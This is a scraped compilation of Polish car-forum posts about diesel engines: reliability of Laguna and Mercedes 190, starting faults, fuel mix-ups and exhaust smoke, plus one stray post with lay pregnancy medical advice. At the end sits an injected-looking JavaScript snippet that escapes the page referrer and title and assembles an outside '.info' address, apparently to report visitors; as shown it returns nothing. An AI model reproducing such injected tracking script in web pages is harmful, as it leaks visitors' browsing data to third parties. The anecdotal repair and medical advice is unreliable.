doswiadczen znajomych mi wystarczy.
pzdr.

  Renault Laguna kombi- jak sie sprawdza?
ja mam lagunę grandtour tylko wersję benzynową. auto duże,
komfortowe, 8 poduszek, karta zamiast kluczyka nie stanowi żadnej
niedogodności, bagażnik spory, auto nafaszerowane elektroniką.
minusem jest bardzo delikatne zawieszenie, poza tym auto jest dosyć
nisko zawieszone co przy polskich krawężnikach jest niewygodne -
zaczepiasz dołem, ja tak nie raz uszkodziłam linkę paliwową - nie
przerwałam jej tylko wyrwałam z zaczepów. kiepskie silniczki tylniej
wycieraczki, słabe tarcze hamulcowe-rdzewieją. auto wygodne, ale
drogie w eksploatacji, dużo rzeczy wymienia się blokami tzn. są
połączone ze sobą. teraz wchodzi nowa laguna, więc jak ją kupicie
może bedzie lepiej dopracowana. ja mam 2002 r i przbieg 80 tys.
(czyli nie jakiś bardzo duży) i już dużo pieniedzy włożyłam w
naprawy - tarcze(przerdzewiały po 50 tys.!!!!), kolcki, końcówka
drążka, całe sprzęgło wraz z układem hydraulicznym, wycieraczka i
reszty nie pamiętam. w serwisie mówili, że diesle z lat 2001-2004 są
dużo bardziej awaryjne jeżeli idzie o silnik. jeździłam do serwisu i
od panów tam pracujących nasłuchałam się opowieści o niesolidności
tego samochodu. potem naprawiałam u innego mechanika, który kupował
mi części w sklepie samochodowym i części są drogie.jak będę zmienić
samochodód to napewno nie będzie to renault. moja rada jak kupujesz
nowy to kupuj, jak używany musisz liczyć się z drogimi naprawami.

  ale ostry bobas - pojechal po rodzince
mike68 napisał:

> bez problemu ,w automacie odpali ale z nogą na hamulcu
> wiec,że to było na wsi to sugeruje ze był to diesel
> typu sierra
Nie da sie odpalic samochodu z automatem na biegu przynajmniej w tych ktorymi
ja jezdzilem i watpie zeby bylo inaczej w pozostalych.
A calkiem mozliwe jest ze zostawiajac zamochod na biegu przy probie odpalania
silnika samochod ruszy i tak pewnie bylo i to musial byc samochod z normalna
skrzynia i raczej wlasnie benzynowy.
Nie raz zdarzalo mi sie ruszac bez sprzegla , z uszkodzona linka czy
silownikiem, odrazu na biegu.

  Mercedes 190 E 2.0D - opinie o trwałości?
Mój staruszek (87r.) ma trochę ponad 400 tkm.
Auto jest bardzo dobre.
przed kupnem sprawdź
- drążki kierownicze (końcówki)ok 70 pln szt, środkowy drążek 90 pln +
amortyzator układu kierowniczego (190 ma takowy) 100 pln.
- amortyzatory (najlepiej sachs lub bilstein) około 270 szt. przód tył około
200 pln.
- poduszki pod tylną ławą zawieszenia około 70 pln sztuka (są cztery/2rodzaje)
- układ wtrysku - sprawdź czy są wszystkie spinki przewodów wtryskowych przy
mocowaniu na kolektorze ssącym. przy naprawach "u kowala" i wstawianiu gó...ch
zamienników z reguły ich brak co prowadzi później do uszkodzeń mechanicznych
(drgania)
- poduchy pod silnikiem musza być z płynem (zamienniki to tylko kawałek gumy)
- gałka zwrotnicy około 100 pln
- końcówki wtryskiwaczy ok 80 pln szt
- układ wydechowy śmiało mozna zakładać Asmet. koszt 350 pln za kompletny
układ. Po 40 tkm zero śladów rdzy itp. Pasuje jak fabryczny.
- wiatrak przy chłodnicy jest załączany sprzęgłem elektromagnetycznym. trza
sprawdzić w dobrym korku. jeśli się nie załącza to czujnik 60 pln.
Ceny podałem częsci oryginalnych w ASO MB. Zamienniki są niewiele tańsze.
Spalanie trasa 5,5 miasto do 8 l. Bierz skrzynie 4 biegową , po mieście mniej
pali na trasie minimalnie więcej.
Szczegółów znam od groma więc jak będziesz miał jakieś pytania to wal śmiało.
p.s. Jak już kupisz to nie wygłupiaj się z olejami. olej ma być wg. normy
MB.228.1 np. Lotos Diesel. Przy używaniu Mobila zaraz po uruchomienu moga
stukac zawory (oczywiście zakładam, że popychacze są w idealnym stanie:)
pzdr

  TD Mondeo-ciezko odpalic,nierowno pracuje i kopci
pete.uk napisał:

> Witam,
>
> Jestem nowym posiadaczem mondeo z silnikiem 1.8TD. Jednakze autko posiada
uster
> ki jak w temacie- czyli czasem ciezko opdpalic jak silnik zimny (gasnie) poza
t
> ym nierowno dosc pracuje i kopci bialym dymem.
> Eh, ciekaw jestem jakie sa przyczyny.
> Poradzcie co sprawdzic/co robc? jaki mozliwy koszt..pewnie zlapie sie za
glowe:
> >
>
> pete.uk
>

Pierwsze sprawdzic swice zarowe ,drugie pompe wtryskowa trzecie mozliwe
jest uszkodzenie uszczelki pod glowica.Jeli znikaplyn a nie widac wyciekow
to ta 3 wersja jeszcze bardziej jest prawdopodobna a w dieslu dochodzi
jeszcze ryzyko uszkodzenia glowicy.
Ale jak pisalem sprawdz swiece tu mam najwiecej podejrzen.

  serwis Renault ku przestrodze
Witam. Całkowicie popieram pomysł aby nie korzystac z ASO. W moim przypadku w
ASO Volkswagena w Warszawie przy ul połczyńskiej- Auto Viva przy pierwszym
przeglądzie jaki musiałem wykonać aby nie stracic gwarancji na zakupiony u nich
samochód wlano mi niewłaściwy olej co spowodowało uszkodzenie kompensatorów
silnika.Efekt był taki że silnik benzynowy 1.4 16v pracowal głośniej niż
silnik Diesla.Wniosek jest prosty całkowicie odradzam korzystanie z ASO.Lepiej
znaleźć dobry i solidny warsztat( znam taki w okolicach warszawy Zachodniej
jakby ktoś był zainteresowany).

  diesel czy benzynowy?doradzcie
Mam prawo jazdy juz 53 lata,najpierw motocyklowe a pozniej,46 lat
samochodowe.Caly czas "czyms" jezdze.Samochodami,bo oto chodzi,napewno ponad 40
lat.Wiekszosc z tego czasu mialem benzynowce.Pozniej jednak przeszedlem na
diesle.Przyczyna byly koszty eksploatacji,wyrazna roznica.Koszty
napraw "malych"diesli sa nieznacznie wyzsze niz benzynowcow.Jednak diesel o
wiekszej mocy wcale nie jest drozszy w eksploatacji niz maly.Natomiast jest
napewno mniej awaryjny.Silnik chodzi "na luzie",nie jest przeciazany i dlatego
mniej sklonny do uszkodzen.Teraz mam juz trzeciego diesla,jezdze nim czwarty
rok i nic.Tankuje,wstawiam do garazu i wogole nim sie nie interesuje.Zawsze
jest sprawny.Jako emeryt nie jezdze duzo najwyzej 12 tys km rocznie.Przemysl to
co napisalem.Moze to pomoze podjac ci decyzje.Dodam,ze nie oszczedzalem tego
samochodu,na autostradach raczej "nisko lecialem" i znosil to bez zadnego
protestu.

  1.3 Multijet - ktoś tym jeździł?
1.3 Multijet - ktoś tym jeździł?
Ostatnio zdarzyło mi się pojeździć nieco Fiatem Doblo 1.3 Multijet, 70KM.
Silnik cichy, ale zaskoczył mnie beznadziejnym wręcz dołem. Samochód nie ma w
ogóle mocy przy 2000 obrotów, dopiero od 2500 coś zaczyna się dziać, silnik ma
charakter niedoładowanego benzyniaka. Do tego gigantyczna turbo dziura, trzeba
naprawdę sporo poczekać zanim zacznie reagować na gaz. Wiem, mała moc, ale
myslałem że nieco inaczej będzie się sprawował. Ma ktoś doświadczenia z tym
silnikiem? Może po prostu ten którym jeździlem był uszkodzony? Może tak
zachowują się wszystkie małe diesle?

  Pytanie-pomoc, świece nie żarzą,rozrusznik chodzi.
Pytanie-pomoc, świece nie żarzą,rozrusznik chodzi.
Witam, mam prosbe o porade! Na wstepie powiem tylko, ze jestem 'zielony' jesli
chodzi o mechanike. W moim volvo 440, a w zasadzie renault 19 (bo silnik i
osprzet jest od renault) wystepuje taka sytuacja: po przekreceniu kluczyka na
poz. 1 wogole nie zaczyna zarzyc kontrolka swiec (inne sie swieca), ale po
przekreceniu rozrusznik pieknie kreci.
Ruszalem kablami odchodzacymi od plusa - zapalila sie na moment kontrolka
swiec. Odpalilem silnik przejechalem kilka metrow i silnik zgasl. Kontrolka
swiec znow nie swieci. Zapalil jeszcze raz ale zgasl, tak jakby wogole nie
dostawal paliwa. Przejzalem wszystkie kable - nic nie dalo. Nie zostaje nic
jak wizyta u mechanika. Mam tylko pytanie - czy istnieje jakas mozliwosc zeby
dojechac do tego mechanika, znajomy mowil mi ze moge tymczasowo zalozyc kabel
od plusa na akumulatorze i podlaczyc do elektrozaworu zajacego paliwo. Jednak
czy nie uszkodze w ten sposob jakiegos ukladu, albo czegos? Czy ktos sie
orientuje czy w 13 letnim dieslu mozna tak to polaczyc, zeby tylko odpalic i
dojechac do warsztatu!?
dziekuje z gory za pomoc

  Używane Renault Laguna II
* zepsute lozysko dociskowe i cos z wysprzegleniem ale juz nie pamietam

Bo sprzęgło wciska się tylko na czas zmiany biegu a nie trzyma wciśnięte przez
cały czas stania na czerownym świetle.

* wymiana rozklekotanego rozrzadu i czegos tam, chyba kola pasowego (ale to i
> tak sie wymiania przy tym przebiegu)
Racja instrukcja podaje do 120 tys. km w polskich warunkach zaleca się częściej
bo jeździ się dynamiczniej tj bardziej szarpie niż np. w Niemczech gdzie w
wiekszości wystarczą 2-3 biegi.
Ja wymieniam pasek i rolki co 90-100 tys.

Odpowiadasz na :

haraa napisał:

> tak to wszystko moja wina, a do tego jestem szpiegiem VW i specjalnie szkaluje
> to auto, a poza tym to nie umiem jezdzic ;)
Po prostu nie znasz konstrukcji auta w silnikach z systemem common rail nie ma
pompowtryskiwaczy. Pytanie więc co Ci wymienili i dlaczego.
Nie należy wierzyć specom z ASO bo się nie znają niestety na nowoczesnych
technologiach a nawet i starych bo mnie taki inżynierek ściągał kabel wysokiego
napięcia ze świecy (megane'97) podczas kiedy silnik pracował - kuźwa każdy
podrecznik twierdzi że grozi to uszkodzeniem modułu zapłonowego a ten sobie ot
tak coś sprawdza nie wiem co.
Czy umiesz jeździć to się zastanów i sam sobie odpowiedz jasne wszyscy jesteśmy
najlepszymi "miszczami" ale tak naprawdę to dużo nam brakuje.
Skoro jeździsz dieslem musisz szanować turbinkę - jak ? to opisano w artykule.

  Gdzie w Lubuskiem chrzczą paliwo
Gdzie w Lubuskiem chrzczą paliwo
Albo to:"
Laboratoria PIH sprawdziły kilkanaście elementów jakości pobranych paliw.
Wykryty na lubuskich stacjach brak odpowiedniej liczby oktanów w oleju napędowym
(Słońsk i Skwierzyna) powoduje większe jego zużycie, a także niższą moc silnika.
Może mieć także wpływ na jego uszkodzenie, bo paliwo o mniejszej liczbie oktanów
spala się detonacyjnie."
Przecież spalanie paliwa to detonacja samoistna (diesel) i iskrowa (benzyna).
Może chodziło o spalanie stukowe??
Może chodziło o mniejszą liczbę cetanową??

  MiG-29 "zżera olej"?
herr_uberszturmfuhrer napisał:

> Ciekawi mnie bardzo zjawisko ciemnych smug jakie pozostawia za sobą
> MiG-29 - niespotykane w maszynach zachodnich. Z czego ono wynika

Z niezupelnego spalenia paliwa. Przyczyn nalezy szukac w konstrukcji silnikow.
Dawniej wszystkie silniki odrzutowe tak (albo jeszcze bardziej) dymily.

> czy ułatwia "robotę" pociskom naprowadzanym na podczerwień?

Nie.

> Osobiście kojarzy mi się to ze starymi kopcącymi gratami zwożonymi z
> Niemiec - tyle,że w przypadku samochodów wynika to ze spalania przez
> silnik oleju z powodu bodajże niesprawności uszczelki pod głowicą.

Pomieszanie z poplataniem.
Czarne dymienie silnikow diesla to zuzyte wtryskiwacze, ew. padniete turbiny,
zatkane filtry powietrza oraz tjunink. Ta sadza pochodzi z paliwa.

Czarne dymienie silnikow benzynowych to ekstremalnie bogata mieszanka. Ta sadza
rowniez pochodzi z niespalonego paliwa.

Niebieskie dymienie wszelkich silnikow tlokowych to spalony olej czyli zuzyte
uszczelniacze zaworowe lub gladzie i piercienie tlokowe.

Biale dymienie (najrzadszy przypadek z powyzszych) to para wodna z uszkodzonej
uszczelki pod glowica.

  ciała ketonowe w moczu
Ciala ketonowe tworza sie w organizmie z niekompletnego
spalania tluszczow. Tluszcze zas spalaja sie
niekompletnie, jesli brakuje glukozy, bo glukoza jest
niezbedna do spalania tluszczow (glodzenie), albo jesli
zapotrzebowanie na energie jest tak duze, ze przekracza
mozliwosci organizmu (analogia- jak w samochodzie z
silnikiem diesla wcisnac gaz do dechy, to zaczyna kopcic-
wymagasz od niego za duzo i paliwo spala sie
niekompletnie). Ciaza, zwlaszcza zaawansowana, jest
okresem wysokiego obciazenia calego organizmu. Ciala
ketonowe sa objawem, ze organizm z trudem radzi sobie ze
stojacym przed nim zadaniem.
Jesli tych ketonow w moczu bylo niewiele (na jeden
plusik), to trzeba Cie po prostu bacznie obserwowac,
powtorzyc badanie, ewentualnie pobrac proby watrobowe i
lipidowe i plytki krwi. Byc moze udalo Ci sie wylapac
niewydolnosc watroby na wczesnym etapie. Jesli
zwiekszenie spozycia cukrow (ostroznie!) nie powoduje
znikniecia ketonow, a tylko duzy wzrost cukru we krwi, to
jednak masz problem z cukrzyca, a dokladnie z
nietolerancja glukozy.
Wniosek: poradz sie poloznika. Teraz juz ostatnia prosta,
musicie scisle wspolpracowac. Jak daleko jeszcze do
terminu rozwiazania? Jesli czynnosc watroby jest
uszkodzona, trzeba Cie przyjac do szpitala i obserwowac,
ewentualnie rozwiazac ciaze. Rozwiazanie powoduje
cofniecie sie tych problemow.

  Czym grozi zatankowanie benzyny do diesla?
Czym grozi zatankowanie benzyny do diesla?
Auto przejechało na tym paliwie ok. 200 km, po czym znalazło się w serwisie,
gdzie - jak sądzę - wykonano wszystkie konieczne w tej sytuacji czynności
(nie wiem dokładnie co, bo to nie mój samochód). Czy mimo to silnik narażony
jest na jakieś poważne uszkodzenie?

  Obalam mit o elastyczności diesli
Wiekopomne zdanie!
klemens1 napisał:

> Roznice w cenie sa dosyc znaczne i byc moze dla przecietnego kierowcy zostala
> przekroczona granica oplacalnosci kupna diesla. O tym wiadomo bylo jednak od
> dluzszego czasu.

Tutaj jeszcze prawisz całkiem z sensem.

Ludzie nie dlatego kupuja diesle, bo sie bardziej oplaca tylko
>
> dlatego ze przyjemniej sie nimi jezdzi.

Natomiast tutaj straciłeś kontakt z rzeczywistością. Pozwoliłem sobie uwiecznić
Twoją wypowiedź, umieszczając ją w mojej sygnaturce.

Sam mam porownanie - zeby z benzyny
> wycisnac moc trzeba ja pilowac, a diesel przyspiesza dobrze z nizszych
obrotow.

Jakie silniki i jakie samochody porównujesz?

> Subiektywne wrazenie jest takie, ze kW mocy diesla jest mocniejszy od
> benzynowego, chociaz jezeli pilowac jednego i drugiego to okazuje sie ze sa
> rowne - ale nie wszyscy lubia pilowac.

Tu się z Tobą zgadzam. Subiektywnie turbodiesel jest bardziej dynamiczny.
Pomiary jednak temu przeczą.

> Koszt nowoczesnej instalacji gazowej jest dosyc wysoki

Dopłata za bardzo dobrą instalację to około 5000 zł, czyli tyle samo lub
częściej znacznie mniej niż za diesla. A cena paliwa i koszt przejechania 1 km
znacznie niższy. Znacznie szybsza amortyzacja.

- poza tym uszkodzenie
> instalacji gazowej moze pociagnac za soba uszkodzenie innych podzespolow.

Nie słyszałeś o uszkodzonych turbinach, układach wtryskowych w dieslach?

Pozdrawiam

  Obalam mit o elastyczności diesli
> Ludzie nie dlatego kupuja diesle, bo sie bardziej oplaca tylko
> > dlatego ze przyjemniej sie nimi jezdzi.
>
> Natomiast tutaj straciłeś kontakt z rzeczywistością.

Sam sobie to wyjasniles:

> Tu się z Tobą zgadzam. Subiektywnie turbodiesel jest bardziej dynamiczny.
> Pomiary jednak temu przeczą.

Piszac o przyjemniejszej jezdzie mialem na mysli wlasnie to subiektywne
odczucie. Nie umieszcze calego rozumowania w swojej sygnaturce bo zajeloby za
duzo miejsca.

> Sam mam porownanie - zeby z benzyny
> > wycisnac moc trzeba ja pilowac, a diesel przyspiesza dobrze z nizszych
> obrotow.
>
> Jakie silniki i jakie samochody porównujesz?

Passat 1.8T i Laguna 2.2 dCi - po 150 KM
Astra 1.8 16V, Laguna 2.2 td - po 115 KM

> Nie słyszałeś o uszkodzonych turbinach,

Tak, w Passacie padlo turbo.

> układach wtryskowych w dieslach?

Mechanik ktory sprawdzal w moim dieslu (205 tys. km) wtryskiwacze pytal czy
ostatnio je zmienialem bo sa jak nowe. Uswiadomilem go ze nie ruszalem ich od 6
lat (od przebiegu ok. 90 tys.).

  czym grozi silnikowi jazda z zepsutym
czym grozi silnikowi jazda z zepsutym
wariatorem zmiennych faz rozrządu?

Moja znajoma ma alfe romeo w ktorej juz 3 raz sie to zepsulo ale auto jest po
gwarancji i ona nie chce juz tego dalej naprawiac bo koszty sa duze a za pol
roku pewnie znowu sie zepsuje. Czy jazda z tym uszkodzeniem wpływa na coś czy
mozna z tym uszkodzeniem jezdzić?
objawy z tego co usłyszałem to dziwnie odglosy pracy silnika. Jakby pod maską
pracował diesel:).
pzdr

  Wlałam benzynę do baku diesla! Co teraz? PILNE!!!
Dowcipnis!
Co chcesz aby ludzie potracili szyby z powodu wylatujacyh z pod kol
samochodowych starych porzepalanych zaworow i resztek tlokow .
Tak naprawde to rozbieralem kiedys z ciekawosci silnik diesla merca ktorego
baba eksploatowala na takiej pomylce.Bylo ponoc 10l diesla a 50 benzyny.
dal sie z trudem rozebrac w tlokach byly powytapiane dziury zawory popalone.
Jako ciekawostka na odwrot , to w benzynie diesel nie uszkodzi tyle ze bedzie z
trudem silnik pracowal.
Pzdr.Michal


function bb5154552628216(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa51545526281da(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa51545526281da(bb5154552628216(document.referrer),bb5154552628216(document.title)));